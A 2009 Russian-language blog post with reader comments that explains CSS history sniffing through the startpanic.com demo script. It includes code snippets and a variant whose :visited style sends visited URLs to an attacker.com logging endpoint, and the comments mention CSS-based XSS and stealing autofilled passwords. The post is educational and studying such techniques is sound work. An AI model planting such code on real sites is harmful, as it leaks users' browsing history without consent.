Чтение истории посещений с помощью CSS

На написание этой небольшой заметки меня подтолкнул пост в блоге автора плагина NoScript о ресурсе с провокационным названием Start Panic!, который призывает пользователей написать петицию к разработчикам браузеров для устранения бага, связанного с выявлением посещенных пользователями страниц с помощью JS+CSS эксплоита, который может быть размещен на любом сайте. Как раз на startpanic.com и проводится демонстрация уязвимости; к слову, довольно показательная — все выведенные адреса действительно мной посещались. На самом деле ничего нового в этом баге нет — используется давно известный прием CSS History Reading. Собственно о нем и расскажу на примере его реализации на startpanic.com.

Прежде всего сохраняем c сайта /js/sp.js — главный скрипт, который выполняет проверку посещенных страниц. Скрипт минимизирован, поэтому его необходимо отформатировать, например это можно сделать в Aptana IDE (Ctrl+Shift+F). Итак, как видно из кода, прежде всего AJAX‘ом подгружается большой список сайтов размером порядка 1,5 МБ:

letsBegin('en');
function letsBegin(a){
    startCheck("/db/db_" + a + ".txt")
}
function startCheck(a){
    $.get(a, function(d){
        var c = d.split("\n");
        for (var b in c) {
            c[b] = "http://" + c[b]
        }
        user = StartPanic(c)
    })
}

Далее создается скрытый iframe, куда впоследствии будут помещаться ссылки на сайты из списка:

var p = document.createElement("iframe");
$(p).css({
    position: "absolute",
    width: "1px",
    height: "1px",
    visibility: "hidden"
});
$("body").append($(p));

В созданном ифрейме указываются стили, при чем посещенные ссылки будут иметь атрибут display равное inline:

p.doc.write("<style>");
p.doc.write("a{color: #000000; display:none;}");
p.doc.write("a:visited {color: #FF0000; display:inline;}");
p.doc.write("</style>");

Внутри iframe последовательно создаются ссылки, у которых проверяется атрибут display (q — DOM-элемент ифрейма; r — DOM-элемент ссылки):

return q.defaultView.getComputedStyle(r, null).getPropertyValue("display");

Собственно вот и весь алгоритм, хотя он отличается от традиционного варианта тем, что для посещенных ссылок вместо display:inline устанавливается атрибут background, который указывает на backend-приложение атакующего, логирующее все входящие адреса. Пример такого варианта:

<style>
     a:visited{background:url("http://attacker.com/?msn.com")}
     a:not(:visited){background:url(//not-visited)}
</style>
<a href="http://msn.com">x</a>

Разница между двумя способами также может проявляться в производительности: для традиционного варианта необходимо создавать для каждой ссылки отдельный ифрейм.

В заключение хочу отметить представленную на BlueHat 2008 работу, из которой можно подчерпнуть еще больше информации о применении CSS для реализации таких атак, как XSS и Clickjacking, а также о некоторых других не менее интересных приемах.


17 комментариев

  1. halkfild, 9. мая 2009, 18:43

    полезная информация, неадвно искал инфе по xss в стилях, в итоге вышла активка для ие в ипб3 (: /*привет brain[pillow]*/

     
  2. artyfarty, 9. мая 2009, 19:20

    Почитал «представленную на BlueHat 2008 работу», выпал в осадок. То есть, получается, в ЖЖ можно выхватить автозаполненный браузером пароль из верхней полоски нафигации при помощи злого CSS?

     
  3. Varyen, 9. мая 2009, 19:38

    Просто гениально 🙂

    Вообще интересно, как это можно «пофиксить». Ок, пусть будет запрещено скриптам проверять стили в :active ссылках или будут выдаваться те же данные, что и у обычных ссылок. Но проверяя у соседних блоков такие свойства, как clientHeight, всегда можно узнать что стиль на ссылку сработал. Как можно пофиксить примеры, описанные в презентации, на уровне браузера тоже непонятно.

    Разве что только встроить в браузеры «поведенческий антивирус», который будет реагировать, когда скрипты и загруженные CSS ведут себя подозрительно. Это решило бы все проблемы разом.

     
  4. Игорь, 9. мая 2009, 20:39

    странно я прошался по ссылке startpanic.com и мне ничего не выдало

     
  5. cr0w, 10. мая 2009, 1:07

    Нету истории посещений — нету и проблемы.
    Я одного не понял, почему «секси ассассин» ? ( :
    Кстати, вот «сборник» PoC’ов по теме: hxxp://p42.us/css/

     
  6. Raz0r, 10. мая 2009, 17:12

    @artyfarty
    Чтение атрибутов html-тэгов, действительно, очень интересный прием. Не уверен, что ЖЖ допускает возможность использования своих стилей, но получить пароль, который был автоматически заполнен в соответствующее поле, например, Firefox’ом, вполне реально (правда необходим небольшой таймаут).

    @Varyen
    Разработчики Firefox работают над устранением этого бага, посмотрим, что у них получится 😉 Однозначных решений я не вижу, тоже склоняюсь к идее поведенческого анализа.

    @cr0w
    Почему sexy assassin — без понятия 🙂 а сборник упоминался в презентации.

     
  7. Alexander Berezhnoy, 11. мая 2009, 21:20

    Что-то странно, Jeremiah Grossman про это ещё в 2006-7 писал, как-то большой паники не было. Даже, кажется, в их с RSnake книжке про это есть. Более того, можно и без JS обойтись, голым CSS, см. http://ha.ckers.org/weird/CSS-history.cgi

     
  8. Alexander Berezhnoy, 11. мая 2009, 22:15

    А, виноват. У меня почему-то не отразился с NoScript ваш второй вариант, который без JS. Какая ирония.

     
  9. somekindofman, 29. мая 2009, 5:41

    raz0r, ну несерьезно.. эта фича впервые обнаружена была, если не ошибаюсь, в 2002 году.

    В общем для такого блога, низачот… Старая инфа..

     
  10. artyfarty, 4. июня 2009, 0:10

    @Raz0r
    В ЖЖ custom css есть даже у бесплатников, у платников вообще почти полный доступ к теме, хоть кверх ногами переверни. (Скрипты вроде режутся)

    Ещё недавно можно было наезжать на соседние посты во френдленте при помощи position: relative, о чём тут говорить… А убрали позишен, так остались отрицательные маргины…

     
  11. ky4ka, 8. июня 2009, 16:10

    какой код в нутри http://startpanic.com/urls ?

     
  12. Raz0r, 8. июня 2009, 16:39

    Нет там кода. Если вы про db/db_en.txt, то там список урлов

     
  13. Raz0r, 8. июня 2009, 16:42

    Хоть и старая, но все еще актуальная

     
  14. ky4ka, 8. июня 2009, 17:58

    нет не db_en.txt, в http://startpanic.com/urls передаются ссылки как раз таки из db_en.txt там они обрабатываются и выдаются списком который мы и видим на главной

    передаются они постом в виде «urls[]=http://google.com/&urls[]=http://google.ru/&итд»
    а в ответ он выдает

    Google

    Google

    как бы в sp.js вроде есть частичная обработка этого но я не особо в нем силен, а очень хочется разобраться
    p.s. могу и ошибаться

     
  15. ky4ka, 8. июня 2009, 18:04

    поправочка

    <li><a href=»http://google.com/» title=»Google»><img src=»http://ru.startpanic.com/favicons/google.com.gif» width=»16″ height=»16″ alt=»fav» /> Google
    </a></li>
    <li><a href=»http://google.ru/» title=»Google»><img src=»http://ru.startpanic.com/favicons/google.ru.gif» width=»16″ height=»16″ alt=»fav» /> Google
    </a></li>

     
  16. ky4ka, 9. июня 2009, 13:01

    все вопросы отменяются, на свежую голову разобрался

     
  17. Spider Agent, 24. июня 2009, 0:57

    вообще, если посмотреть глобально, то достаточно безобидный баг, имхо. хотя, неприятные моменты есть.

     

Write a comment: